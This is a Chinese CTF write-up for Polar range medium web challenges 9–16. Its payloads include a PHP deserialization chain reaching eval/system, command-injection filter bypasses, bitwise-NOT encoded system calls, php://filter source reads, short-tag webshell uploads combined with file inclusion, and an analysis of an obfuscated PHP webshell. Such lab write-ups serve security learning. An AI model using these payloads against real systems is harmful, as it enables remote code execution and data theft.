今天是2026年8月13号

今天分享Polar靶场的中等题9-16

Polar靶场

9.题目信息:反序列化

进入靶场:

先分析一下代码,定义了两个类,用到了一个魔术方法:__destruct(当对象被销毁时,自动触发),内部指向了funnnn()函数,这个函数是这个类中的另一个创建的函数,函数内部指向了另一个函数:close(),可是这个函数在另一个类中并且里面有危险函数eval(),我们可以利用这个函数来RCE,我们可以这样构造pop链:
先把两个类实例化,如$a=new example这样,然后我们让$a给对象的成员属性handle赋值第二个类来达成链接的目的,这样destruct()魔术方法触发后就能触发函数funnnn(),函数再触发close()函数,再触发第二个类中的eval()函数,我们只需要改pid的参数就能达到命令执行目的,构造payload:

<?php
error_reporting(0);    #这个是用来抑制报错信息的
class example
    {
        public $handle;
        function  __destruct(){
            $this->funnnn();
        }
        function funnnn(){
            $this->handle->close();
        }
    }
    class process{
        public $pid="system('ls');";
        function close(){
            eval($this->pid);
        }
    }
$a=new example();
$b=new process();
$a->handle=$b;
echo serialize($a);
?>

在页面提交?data=程序执行后输出的payload后成功看到执行信息:

当前目录在根目录,我们先看一下网站目录/var/www/html/:

flag果然在这里,直接cat flag拿到flag:flag{3c8000f924a1ed58a12a91759ecab3f0}

我这里用的是tac命令,cat命令执行后flag会在源码中显示。

10.题目信息:找找shell

附件内容:

进入靶场:

告诉我们无权限访问,用dirsearch扫一下:

只扫到了一个0B的/shell.php目录,进去看看:

果然是空的,我们先分析一下附件,附件内容是一段混淆的PHP代码:

经过分析得知这是经过三层混淆的一句话木马:

第一层:urldecode 出一串垃圾字符 n1zb/ma5\vt0i28-pxuqy6lrkdg9_ehcswo4+f37j,通过下标 {3}{6}{33}{30} 等拼出函数名:base64_decode、strtr、substr、52。
第二层:base64_decode 解出一段 PHP,里面是 strtr(substr(大base64串,104), substr(串,52,52), substr(串,0,52)),用串头 52 字符作为替换表,对串尾做字符替换。
第三层:替换结果再base64解出最终源码

得到POST参数usam,我们在/shell.php目录下发POST包就可以命令执行了:

发现flag,直接cat flag:

成功拿到flag:flag{2591c98b70119fe624898b1e424b5e91}

11.题目信息:再来ping一波啊

进入靶场:

试试ping127.0.0.1:

是可以ping成功的,试了几个payload,发现空格被过滤了,一些命令和符号也被过滤了,我用反斜杠\成功绕过:

我又试了${IFS}空格绕过,但{}被过滤了,又试了%09成功绕过空格过滤,但斜杠/被过滤了,看不到根目录,尝试用ca\t%09来读取index.php,结果发现index也被过滤了,那我们再尝试一下赋值拼接绕过,payload:

?ip=127.0.0.1;a=ind;b=ex.php;ca\t%09$a$b

成功回显了index.php中的内容:

可以看到过滤了好多字符,打开了源码居然看到了flag,原来flag就藏在index.php的源码中:

成功拿到flag:flag{ae5eb824ef87499f644c3f11a7176157}

12.题目信息:wu

进入靶场:

分析一下代码,代码过滤了大小写英文字母和数字,我们只能用符号,可以利用PHP按位取反~的语言特性对目标函数名每个字节做~运算,得到一批大于0x7F的高位不可见字节,再通过URL编码%XX把高位二进制字节通过GET传参传入,构造payload:

?a=(~%8C%86%8C%8B%9A%92)((~%93%8C));    #等同于system('ls');

成功看到当前目录:

发现了flag文件,读取payload:

(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B).' *');    #用点号拼接*,打开当前目录所有文件,等同于system('cat *');

成功拿到flag:flag{2591c98b70119fe624898b1e424b5e91}

13.题目信息:代码审计1

进入靶场:

分析代码,有两个传参点:sys、xsx。过滤形同虚设,可以说没有任何过滤,因为xsx变量是在过滤之后出现的,在之前是没有这个变量的。题目最后的echo new $sys($xsx);中的new会导致我们无法正常使用各类命令,所以传入的值必须是一个类,我们可以使用PHP自带的SplFileObject类,这样就可以实例化SplFileObject类然后在这个类中用$xsx执行读取命令,payload:

?sys=SplFileObject&xsx=flag.php

可以看到这里只显示了<?php无法显示flag,我们可以用PHP伪协议转base64编码来获取全部内容,payload:

?sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

成功拿到编码,解码后得到flag:flag{289dff07669d7a23de0ef88d2f7129e7}

14.题目信息:你的马呢?

进入靶场:

题目不让我们上传php脚本,在地址栏里可以看到一个传参点,这表示可能存在文件包含漏洞:

我们先传一个php脚本:

题目让我们试试.jsp后缀的文件,我们写一句话木马会被拦截:

经过测试发现题目只是拦截了<?php和php后缀,我们可以传<?=短标签来绕过<?php检测,然后配合文件包含漏洞执行RCE,payload:

密码a,上传后在地址栏访问index.php?file=参数来进行RCE,payload:

index.php?file=uploads/shell.jsp&a=ls

成功执行命令,寻找flag:

找到flag了,直接读取:

成功拿到flag:flag{8f185d911c7cd5c6e98b1db8cd4bb1e7}

15.题目信息:ezphp

进入靶场:

我们先用dirsearch扫一下:

发现了五个目录:/file、/index.php、/index.php/login/、/robots.txt、/uploads,我大致看了里面的内容,只有三个有用的:
/robots.txt:

/file:

/uploads:

这题应该是要我们在/uploads上传一个webshell,然后用/file文件包含来读取执行,题目只允许上传图片,所以我们要上传一个图片马:

在/uploads/images/目录下看看是否上传成功:

可以看到我们的图片马成功上传了,接下来到/file目录下读取图片马来执行我们想要的命令:

可以看到我们当前在file目录下,寻找flag:

找了一会发现flag在/home/webuser目录下,成功拿到flag:flag{a6e667c3194c7a60f7491d4c7e5b1161}

16.题目信息:随机值

进入靶场:

获取flag的条件为:要让Polar1完全等于Polar2,Night完全等于Light。下面有一个unserialize反序列化函数,我们完全可以给这些变量赋相同的值,然后进行序列化,把序列化后的值GET传给sys,以达到满足条件的目的,构造payload:

<?php
error_reporting(0);    #抑制报错
include "flag.php";
class Index{
    private $Polar1=30;
    private $Polar2=30;
    protected $Night=50;
    protected $Light=50;
}
$a=new Index();
echo urlencode(serialize($a));    #序列化后再进行url编码
?>

成功拿到flag:flag{d81f9c1be2e08964bf9f24b15f0e4900}

今天就到这里。

“不要被表面的随机数迷惑,分清局部变量和对象属性,看懂代码逻辑比盲目爆破更重要。”